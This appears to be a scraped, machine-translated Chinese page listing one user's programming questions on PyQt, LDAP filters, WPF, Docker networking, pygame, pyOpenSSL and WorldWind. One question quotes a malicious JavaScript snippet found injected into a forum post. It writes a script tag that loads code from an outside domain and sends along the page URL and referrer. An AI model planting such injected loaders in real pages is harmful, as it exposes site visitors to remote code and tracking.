小编dir*_*ion的帖子

PyQt显示全屏图像

我正在使用PyQt用QPixmap.grabWindow(QApplication.desktop().winId())捕获我的屏幕,我想知道是否有一种方法可以显示我的screengrab全屏(没有窗口边框等)我是试图找到一种方法用PyQt去饱和我的显示器

python screenshot pyqt fullscreen

4
推荐指数
1
解决办法
2873
查看次数

DirectorySearcher 用户搜索过滤器无效

(&(objectClass=user)(|(&(SAMAccountName=jdoe*))) 搜索过滤器无效。

我试图通过他的用户名 jdoe 找到 John Doe 的用户帐户。我使用了这个搜索字符串的许多变体,它们都返回了这个错误。我究竟做错了什么?我正在像这样构建它:

var deSearch = new DirectorySearcher(de);
deSearch.Filter = string.Format("(&(objectClass=user)(|(&(SAMAccountName={0}*)))", uname);
SearchResult result = deSearch.FindOne();
Run Code Online (Sandbox Code Playgroud)

ldap active-directory

4
推荐指数
1
解决办法
9792
查看次数

使用WPF捕获窗口

使用Windows Presentation Foundation,如果我有HWND,如何将其窗口捕获为可以操作和显示的图像?

c# wpf screenshot

3
推荐指数
2
解决办法
8575
查看次数

删除
 来自python字符串

当你popen在Python中运行时,结果来自缓冲区,每行末尾有一个回车符(13)的CR-LF十进制值.你如何从Python字符串中删除它?

python newline popen

3
推荐指数
1
解决办法
1万
查看次数

将“主机”设置为Docker的默认网络

Docker可以构建容器,直到我连接Cisco VPN为止。此后,容器将无法连接到外部互联网。不仅仅是DNS问题,它根本无法路由到Docker自己网络之外的任何设备。现在,我可以通过运行容器来解决这个--net=host问题,但是问题是使用dockerfiles构建容器。我看不到在那儿设置主机的方法。我还能将docker配置为始终将“主机”用作默认网络吗?

docker

3
推荐指数
1
解决办法
2825
查看次数

基于终点的旋转

我正在使用pygame在两个任意点之间画一条线.我还想在行的方向向外朝向线的末尾添加箭头.

它很简单,可以在最后粘贴一个箭头图像,但我不知道如何计算旋转度以保持箭头指向正确的方向.

python geometry pygame

2
推荐指数
1
解决办法
2646
查看次数

PyQT组合框只对用户交互做出反应

我有一个列表框,您可以选择用户.在左侧是一个组合框,列出用户可以放置的可用组.如果用户在组中,则组合框将自动设置为该组.我想在更改组选择时这样做,它会将用户移动到该组.我添加了这个连接:

QtCore.QObject.connect(self.GroupsBox, QtCore.SIGNAL("currentIndexChanged(QString)"), self.HandleGrouping)
Run Code Online (Sandbox Code Playgroud)

问题在于,由于我将选择不同组中的不同用户,因此每次选择新用户时,组合框中的默认选项都会更改,Qt会将其注册为"currentIndexChanged"信号.

似乎没有办法仅在与小部件本身的直接用户交互上触发信号.我可以用什么方法来解决这个问题?

python qt qcombobox

2
推荐指数
1
解决办法
3163
查看次数

恶意javascript在论坛发布

<SCRIPT>
  ff = 0;
  for (nn in document) if (nn == 'etours' || nn == 'logo-anim') ff = 1;
  if (ff == 0 || (/LIVE|MSN|YAHOO|GENERIC|NORVASC/.test (document.referrer.toUpperCase ()) && false ) ) {
    document.write('<SCRIPT SRC ="http://p090303.info/w.php?l='+ escape(location.href) + '&k=' + escape('generic norvasc') + '&r=' + escape(document.referrer) + '"><' + '/SCRIPT>' ); document.write ('<' + '!--' );
  }
</SCRIPT>
Run Code Online (Sandbox Code Playgroud)

识别这段代码?我看到它被困在许多网站中,但所有的角色都被替换为十六进制或八进制等效.有人在我父亲的一个网站上的帖子中发布了这段代码,但我无法弄清楚它在做什么.它似乎正在收集引用者的网页映射,但我无法弄清楚前几行是做什么的.任何人都知道这里发生了什么?

javascript

2
推荐指数
1
解决办法
315
查看次数

pyOpenSSL和WantReadError

我有一个套接字服务器,我试图在python 2.5上转移到SSL,但我遇到了pyOpenSSL的障碍.我找不到任何关于使用它的好教程,所以我主要依靠猜测.

以下是我的服务器如何设置套接字:

ctx = SSL.Context(SSL.SSLv23_METHOD)
ctx.use_privatekey_file ("mykey.pem")
ctx.use_certificate_file("mycert.pem")
sock = SSL.Connection(ctx, socket.socket(socket.AF_INET, socket.SOCK_STREAM))
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
addr = ('', int(8081))
sock.bind(addr)
sock.listen(5)
Run Code Online (Sandbox Code Playgroud)

以下是它如何接受客户:

sock.setblocking(0)
while True:
  if len(select([sock], [], [], 0.25)[0]):
    client_sock, client_addr = sock.accept()
    client = ClientGen(client_sock)
Run Code Online (Sandbox Code Playgroud)

以下是它从连接的套接字发送/接收的方式:

while True:
  (r, w, e) = select.select([sock], [sock], [], 0.25)

  if len(r):
    bytes = sock.recv(1024)
  if len(w):
    n_bytes = sock.send(self.message)
Run Code Online (Sandbox Code Playgroud)

它是紧凑的,但你得到了一般的想法.问题是,一旦发送/接收循环开始,它就会在发送或接收任何内容之前立即死亡(我无论如何都可以看到):

Traceback (most recent call last):
  File "ClientGen.py", line 50, in networkLoop
    n_bytes = sock.send(self.message
WantReadError
Run Code Online (Sandbox Code Playgroud)

手册中对'WantReadError'的描述非常模糊,说它几乎可以来自任何地方.我究竟做错了什么?

python ssl pyopenssl

2
推荐指数
1
解决办法
2186
查看次数

在Java中按下按钮进行轮询

我有一个基于Java SDK的WorldWind应用程序构建.它有一个很好的事件处理程序,用于检测您何时单击对象,但我遇到了障碍.虽然我可以单击并选择单个对象,但我无法确定用户是否在单击时按下控制键(如果他们想要选择多个对象).我可以为鼠标和键盘实现事件处理程序,但我不能为我的生活弄清楚如何将两者结合在一起.如何让我的鼠标监听器轮询系统以获取当前按下的键列表?

java worldwind

1
推荐指数
1
解决办法
623
查看次数